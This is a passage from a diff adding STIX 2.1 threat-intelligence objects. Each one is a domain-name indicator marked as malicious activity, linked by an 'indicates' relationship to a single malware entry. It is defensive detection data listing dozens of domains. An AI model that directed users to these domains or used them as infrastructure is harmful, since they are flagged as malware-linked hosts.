"target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ed53d0f5-9535-40c7-9bf9-e46511b10393", + "created": "2023-03-29T12:58:44.195405Z", + "modified": "2023-03-29T12:58:44.195405Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='knolldander.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.195405Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--67b96e4e-8527-481e-9ea9-23cf3936d9f8", + "created": "2023-03-29T12:58:44.196001Z", + "modified": "2023-03-29T12:58:44.196001Z", + "relationship_type": "indicates", + "source_ref": "indicator--ed53d0f5-9535-40c7-9bf9-e46511b10393", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4012a7fb-b035-42cf-852b-594a3aeb46ee", + "created": "2023-03-29T12:58:44.196169Z", + "modified": "2023-03-29T12:58:44.196169Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='capsulejubilant.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.196169Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b3aec8b6-f1ea-4607-822f-2f0e0feb28c7", + "created": "2023-03-29T12:58:44.19677Z", + "modified": "2023-03-29T12:58:44.19677Z", + "relationship_type": "indicates", + "source_ref": "indicator--4012a7fb-b035-42cf-852b-594a3aeb46ee", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7a0705b9-1964-4444-8199-585aac3df48e", + "created": "2023-03-29T12:58:44.196941Z", + "modified": "2023-03-29T12:58:44.196941Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='anytimeyippee.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.196941Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--cccbb8c6-8d3a-4821-abf2-511467fa02e1", + "created": "2023-03-29T12:58:44.197548Z", + "modified": "2023-03-29T12:58:44.197548Z", + "relationship_type": "indicates", + "source_ref": "indicator--7a0705b9-1964-4444-8199-585aac3df48e", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--01e4cc2c-4bad-41ab-9725-9c6ab02cbdfc", + "created": "2023-03-29T12:58:44.197717Z", + "modified": "2023-03-29T12:58:44.197717Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='challengefanatic.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.197717Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3c2e4be0-bb2d-420a-bb16-6882e1d56aa4", + "created": "2023-03-29T12:58:44.198435Z", + "modified": "2023-03-29T12:58:44.198435Z", + "relationship_type": "indicates", + "source_ref": "indicator--01e4cc2c-4bad-41ab-9725-9c6ab02cbdfc", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--602bbc62-f437-4397-9f2e-06b1f400cdad", + "created": "2023-03-29T12:58:44.198608Z", + "modified": "2023-03-29T12:58:44.198608Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='universetactics.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.198608Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--86c22eea-14e1-4e2c-9d2d-6e64dfaf7649", + "created": "2023-03-29T12:58:44.19921Z", + "modified": "2023-03-29T12:58:44.19921Z", + "relationship_type": "indicates", + "source_ref": "indicator--602bbc62-f437-4397-9f2e-06b1f400cdad", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b51e14c8-38dc-40ae-bc10-d76203471de9", + "created": "2023-03-29T12:58:44.199379Z", + "modified": "2023-03-29T12:58:44.199379Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='sunkenrealty.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.199379Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1d15f471-6f03-4b57-801e-293d2b239463", + "created": "2023-03-29T12:58:44.199975Z", + "modified": "2023-03-29T12:58:44.199975Z", + "relationship_type": "indicates", + "source_ref": "indicator--b51e14c8-38dc-40ae-bc10-d76203471de9", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b246dbf9-d008-434a-a1c6-d4e3b7abd82c", + "created": "2023-03-29T12:58:44.200144Z", + "modified": "2023-03-29T12:58:44.200144Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='antiheronutshell.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.200144Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1dd01640-5fc4-4951-997d-5c1bd8b5b68d", + "created": "2023-03-29T12:58:44.200749Z", + "modified": "2023-03-29T12:58:44.200749Z", + "relationship_type": "indicates", + "source_ref": "indicator--b246dbf9-d008-434a-a1c6-d4e3b7abd82c", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8741f1aa-7044-4abd-8d8d-a0b45541e221", + "created": "2023-03-29T12:58:44.200918Z", + "modified": "2023-03-29T12:58:44.200918Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='cyclicobstinate.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.200918Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a404ed03-497f-4285-bae0-01a03249a352", + "created": "2023-03-29T12:58:44.201514Z", + "modified": "2023-03-29T12:58:44.201514Z", + "relationship_type": "indicates", + "source_ref": "indicator--8741f1aa-7044-4abd-8d8d-a0b45541e221", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e7378033-6505-4e2c-84c0-7d26f294e6e9", + "created": "2023-03-29T12:58:44.201692Z", + "modified": "2023-03-29T12:58:44.201692Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='sediestefano.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.201692Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--18a4e2e7-b157-428f-8efd-e6138136b97d", + "created": "2023-03-29T12:58:44.202298Z", + "modified": "2023-03-29T12:58:44.202298Z", + "relationship_type": "indicates", + "source_ref": "indicator--e7378033-6505-4e2c-84c0-7d26f294e6e9", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4c0306f4-9768-4bdd-ba45-d7c89d7c9b44", + "created": "2023-03-29T12:58:44.202467Z", + "modified": "2023-03-29T12:58:44.202467Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='subatomicgreeter.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.202467Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--cf0daacf-e545-49ee-8000-b6c919e82b68", + "created": "2023-03-29T12:58:44.203068Z", + "modified": "2023-03-29T12:58:44.203068Z", + "relationship_type": "indicates", + "source_ref": "indicator--4c0306f4-9768-4bdd-ba45-d7c89d7c9b44", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--fb445470-b51d-447a-b531-f3214c136bf9", + "created": "2023-03-29T12:58:44.203237Z", + "modified": "2023-03-29T12:58:44.203237Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='dicedoptions.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.203237Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a5ded768-e9f5-4195-b1eb-5855fe083840", + "created": "2023-03-29T12:58:44.203829Z", + "modified": "2023-03-29T12:58:44.203829Z", + "relationship_type": "indicates", + "source_ref": "indicator--fb445470-b51d-447a-b531-f3214c136bf9", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a7816c8b-59b2-41a4-8cb3-2df81b9fc55b", + "created": "2023-03-29T12:58:44.203996Z", + "modified": "2023-03-29T12:58:44.203996Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='handheldgargle.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.203996Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--87540734-6b8f-45b6-84bb-2e709df65028", + "created": "2023-03-29T12:58:44.204595Z", + "modified": "2023-03-29T12:58:44.204595Z", + "relationship_type": "indicates", + "source_ref": "indicator--a7816c8b-59b2-41a4-8cb3-2df81b9fc55b", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--901f4354-460f-451d-9161-f95ba4c6b087", + "created": "2023-03-29T12:58:44.204763Z", + "modified": "2023-03-29T12:58:44.204763Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='conciergeduke.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.204763Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--af8217a1-e58e-4ece-87f8-82031a5fe90e", + "created": "2023-03-29T12:58:44.205476Z", + "modified": "2023-03-29T12:58:44.205476Z", + "relationship_type": "indicates", + "source_ref": "indicator--901f4354-460f-451d-9161-f95ba4c6b087", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--14e5312f-6cee-4c73-8ebd-f7f03e2c9b2b", + "created": "2023-03-29T12:58:44.205654Z", + "modified": "2023-03-29T12:58:44.205654Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='trynotnow.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.205654Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--da20cb67-013e-45df-adf9-193e95ce689b", + "created": "2023-03-29T12:58:44.206248Z", + "modified": "2023-03-29T12:58:44.206248Z", + "relationship_type": "indicates", + "source_ref": "indicator--14e5312f-6cee-4c73-8ebd-f7f03e2c9b2b", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--759473ca-20f4-4c0b-9acf-4192d5983d86", + "created": "2023-03-29T12:58:44.206415Z", + "modified": "2023-03-29T12:58:44.206415Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='pluseach.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.206415Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--93d00e43-89e3-4c8b-a2df-a4308279db80", + "created": "2023-03-29T12:58:44.207005Z", + "modified": "2023-03-29T12:58:44.207005Z", + "relationship_type": "indicates", + "source_ref": "indicator--759473ca-20f4-4c0b-9acf-4192d5983d86", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4c56d6b4-9ee3-4c74-8ed7-9479d312c87c", + "created": "2023-03-29T12:58:44.207175Z", + "modified": "2023-03-29T12:58:44.207175Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='refractdeflector.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.207175Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c4f16478-7e4c-4bc0-9909-1e80e2111b79", + "created": "2023-03-29T12:58:44.207776Z", + "modified": "2023-03-29T12:58:44.207776Z", + "relationship_type": "indicates", + "source_ref": "indicator--4c56d6b4-9ee3-4c74-8ed7-9479d312c87c", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6a47ba72-c753-470c-b33e-9958f28f2fb5", + "created": "2023-03-29T12:58:44.207944Z", + "modified": "2023-03-29T12:58:44.207944Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='subsidycrop.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.207944Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--61f29e92-4f1c-4a3b-b1d2-6f5eb387a1bd", + "created": "2023-03-29T12:58:44.208541Z", + "modified": "2023-03-29T12:58:44.208541Z", + "relationship_type": "indicates", + "source_ref": "indicator--6a47ba72-c753-470c-b33e-9958f28f2fb5", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2f97d6ee-a373-4a37-93f5-073a02022643", + "created": "2023-03-29T12:58:44.208711Z", + "modified": "2023-03-29T12:58:44.208711Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='stoppinglard.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.208711Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--40e71063-e87e-49db-8030-f0dbbffbe1b8", + "created": "2023-03-29T12:58:44.209306Z", + "modified": "2023-03-29T12:58:44.209306Z", + "relationship_type": "indicates", + "source_ref": "indicator--2f97d6ee-a373-4a37-93f5-073a02022643", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ad8bc1ab-35fa-42a1-b4e7-43f57aa35e81", + "created": "2023-03-29T12:58:44.209473Z", + "modified": "2023-03-29T12:58:44.209473Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='celibatecloning.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.209473Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ae3ec9e8-1303-407d-a658-b748556142d2", + "created": "2023-03-29T12:58:44.210089Z", + "modified": "2023-03-29T12:58:44.210089Z", + "relationship_type": "indicates", + "source_ref": "indicator--ad8bc1ab-35fa-42a1-b4e7-43f57aa35e81", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b3ee2288-a1d8-432d-94b7-37b5d26d412d", + "created": "2023-03-29T12:58:44.210271Z", + "modified": "2023-03-29T12:58:44.210271Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='impartsnore.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.210271Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9a6a6687-c4f0-4cbd-8c05-412159c12f0e", + "created": "2023-03-29T12:58:44.210873Z", + "modified": "2023-03-29T12:58:44.210873Z", + "relationship_type": "indicates", + "source_ref": "indicator--b3ee2288-a1d8-432d-94b7-37b5d26d412d", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5cadeaba-5819-458e-b415-2f69a2ca73ac", + "created": "2023-03-29T12:58:44.211045Z", + "modified": "2023-03-29T12:58:44.211045Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='slipperysquares.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.211045Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2dc3d91a-a606-4f41-899e-5939fabb0533", + "created": "2023-03-29T12:58:44.211645Z", + "modified": "2023-03-29T12:58:44.211645Z", + "relationship_type": "indicates", + "source_ref": "indicator--5cadeaba-5819-458e-b415-2f69a2ca73ac", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c27e3cc8-5963-4223-9f61-f1332902b806", + "created": "2023-03-29T12:58:44.211817Z", + "modified": "2023-03-29T12:58:44.211817Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='curlingnintendo.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.211817Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--300af682-a86d-4ced-8967-96c3805ee120", + "created": "2023-03-29T12:58:44.212543Z", + "modified": "2023-03-29T12:58:44.212543Z", + "relationship_type": "indicates", + "source_ref": "indicator--c27e3cc8-5963-4223-9f61-f1332902b806", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1420c4af-5ae9-4755-a1ca-398c4e868616", + "created": "2023-03-29T12:58:44.212716Z", + "modified": "2023-03-29T12:58:44.212716Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='sycamoreturbofan.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.212716Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a04619cb-8c58-45da-98bc-6d0ab249e85b", + "created": "2023-03-29T12:58:44.213318Z", + "modified": "2023-03-29T12:58:44.213318Z", + "relationship_type": "indicates", + "source_ref": "indicator--1420c4af-5ae9-4755-a1ca-398c4e868616", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d8e55401-43f3-4fd2-94fa-78114f017a16", + "created": "2023-03-29T12:58:44.213485Z", + "modified": "2023-03-29T12:58:44.213485Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='siliconsmall.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.213485Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4ff638ef-b26a-4204-8699-fd66c4e8f398", + "created": "2023-03-29T12:58:44.214104Z", + "modified": "2023-03-29T12:58:44.214104Z", + "relationship_type": "indicates", + "source_ref": "indicator--d8e55401-43f3-4fd2-94fa-78114f017a16", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--83eea766-df76-4728-944a-0869cdf003ea", + "created": "2023-03-29T12:58:44.214274Z", + "modified": "2023-03-29T12:58:44.214274Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='sparkylogos.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.214274Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a61390d9-1b9b-4423-83bc-a7b69ad16ed1", + "created": "2023-03-29T12:58:44.214871Z", + "modified": "2023-03-29T12:58:44.214871Z", + "relationship_type": "indicates", + "source_ref": "indicator--83eea766-df76-4728-944a-0869cdf003ea", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--af0614ad-4916-43bd-9ed0-36923d86589a", + "created": "2023-03-29T12:58:44.21504Z", + "modified": "2023-03-29T12:58:44.21504Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='dislocateuncolored.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.21504Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--86debc86-46ad-4249-9aa9-06d50c1de221", + "created": "2023-03-29T12:58:44.215647Z", + "modified": "2023-03-29T12:58:44.215647Z", + "relationship_type": "indicates", + "source_ref": "indicator--af0614ad-4916-43bd-9ed0-36923d86589a", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--06f0872d-9f6e-40d7-87d4-9a2b98746604", + "created": "2023-03-29T12:58:44.215815Z", + "modified": "2023-03-29T12:58:44.215815Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='upholdfrigidity.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.215815Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--172e5509-3c39-47f9-8d5c-ced99f292d21", + "created": "2023-03-29T12:58:44.216421Z", + "modified": "2023-03-29T12:58:44.216421Z", + "relationship_type": "indicates", + "source_ref": "indicator--06f0872d-9f6e-40d7-87d4-9a2b98746604", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2b5a9d78-b3f8-4ce5-91ee-b707cd3c4137", + "created": "2023-03-29T12:58:44.216588Z", + "modified": "2023-03-29T12:58:44.216588Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='repostcrusader.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.216588Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--91c25733-b425-47ed-b61f-e38e0b1a17ee", + "created": "2023-03-29T12:58:44.217193Z", + "modified": "2023-03-29T12:58:44.217193Z", + "relationship_type": "indicates", + "source_ref": "indicator--2b5a9d78-b3f8-4ce5-91ee-b707cd3c4137", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--470b78c8-df6c-4280-a256-98b5535144dd", + "created": "2023-03-29T12:58:44.217365Z", + "modified": "2023-03-29T12:58:44.217365Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='blinkedmoaner.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.217365Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f03b8ba1-6b68-43e3-a3ae-f61534a7c1e8", + "created": "2023-03-29T12:58:44.217972Z", + "modified": "2023-03-29T12:58:44.217972Z", + "relationship_type": "indicates", + "source_ref": "indicator--470b78c8-df6c-4280-a256-98b5535144dd", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--74ec7b71-3914-4ff1-999d-e494985cd5d9", + "created": "2023-03-29T12:58:44.218141Z", + "modified": "2023-03-29T12:58:44.218141Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='everyonefile.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.218141Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--95fedbd0-48a5-49dd-9477-9a3170312493", + "created": "2023-03-29T12:58:44.218746Z", + "modified": "2023-03-29T12:58:44.218746Z", + "relationship_type": "indicates", + "source_ref": "indicator--74ec7b71-3914-4ff1-999d-e494985cd5d9", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--adbe148e-7630-4e99-8a5b-d0f2f736fdd0", + "created": "2023-03-29T12:58:44.218915Z", + "modified": "2023-03-29T12:58:44.218915Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='resolvedpolygon.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.218915Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2cf9b373-8645-43e7-b35e-a07c373ee06a", + "created": "2023-03-29T12:58:44.219643Z", + "modified": "2023-03-29T12:58:44.219643Z", + "relationship_type": "indicates", + "source_ref": "indicator--adbe148e-7630-4e99-8a5b-d0f2f736fdd0", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4cbb2334-2c63-41b2-b499-b58e46e81444", + "created": "2023-03-29T12:58:44.219818Z", + "modified": "2023-03-29T12:58:44.219818Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='jugulartrifocals.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.219818Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--636b1332-66dd-49f7-ab5f-4938ba73703e", + "created": "2023-03-29T12:58:44.220431Z", + "modified": "2023-03-29T12:58:44.220431Z", + "relationship_type": "indicates", + "source_ref": "indicator--4cbb2334-2c63-41b2-b499-b58e46e81444", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--545c3dfe-1932-48ad-935c-49928f1d2a4f", + "created": "2023-03-29T12:58:44.220601Z", + "modified": "2023-03-29T12:58:44.220601Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='squarereddots.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.220601Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f4db938a-24c4-4bc4-add4-26f90cf6ed00", + "created": "2023-03-29T12:58:44.221205Z", + "modified": "2023-03-29T12:58:44.221205Z", + "relationship_type": "indicates", + "source_ref": "indicator--545c3dfe-1932-48ad-935c-49928f1d2a4f", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--25c2dff6-6261-4a6e-a4d9-255a032f7ab6", + "created": "2023-03-29T12:58:44.221373Z", + "modified": "2023-03-29T12:58:44.221373Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='smiteauthor.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.221373Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b737ecd4-9829-4bdf-849a-5d1388d9144b", + "created": "2023-03-29T12:58:44.221978Z", + "modified": "2023-03-29T12:58:44.221978Z", + "relationship_type": "indicates", + "source_ref": "indicator--25c2dff6-6261-4a6e-a4d9-255a032f7ab6", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3401709e-68e5-4236-ba16-3634c871a5fc", + "created": "2023-03-29T12:58:44.222149Z", + "modified": "2023-03-29T12:58:44.222149Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='collideretrain.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.222149Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--cb23ca7c-d850-4577-b83d-5e52bc4587ce", + "created": "2023-03-29T12:58:44.22275Z", + "modified": "2023-03-29T12:58:44.22275Z", + "relationship_type": "indicates", + "source_ref": "indicator--3401709e-68e5-4236-ba16-3634c871a5fc", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--883be1d0-050e-4204-a267-a999c99a3447", + "created": "2023-03-29T12:58:44.222919Z", + "modified": "2023-03-29T12:58:44.222919Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='whiteforks.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.222919Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ce48c4fc-b08e-4f53-9c32-fedf1077a8e7", + "created": "2023-03-29T12:58:44.223512Z", + "modified": "2023-03-29T12:58:44.223512Z", + "relationship_type": "indicates", + "source_ref": "indicator--883be1d0-050e-4204-a267-a999c99a3447", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a7bea93f-c446-4d41-a978-e082ebf6a78a", + "created": "2023-03-29T12:58:44.223681Z", + "modified": "2023-03-29T12:58:44.223681Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='dealtconstruct.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.223681Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f13611f9-8cbc-4d58-bd49-8b561fb609b6", + "created": "2023-03-29T12:58:44.224285Z", + "modified": "2023-03-29T12:58:44.224285Z", + "relationship_type": "indicates", + "source_ref": 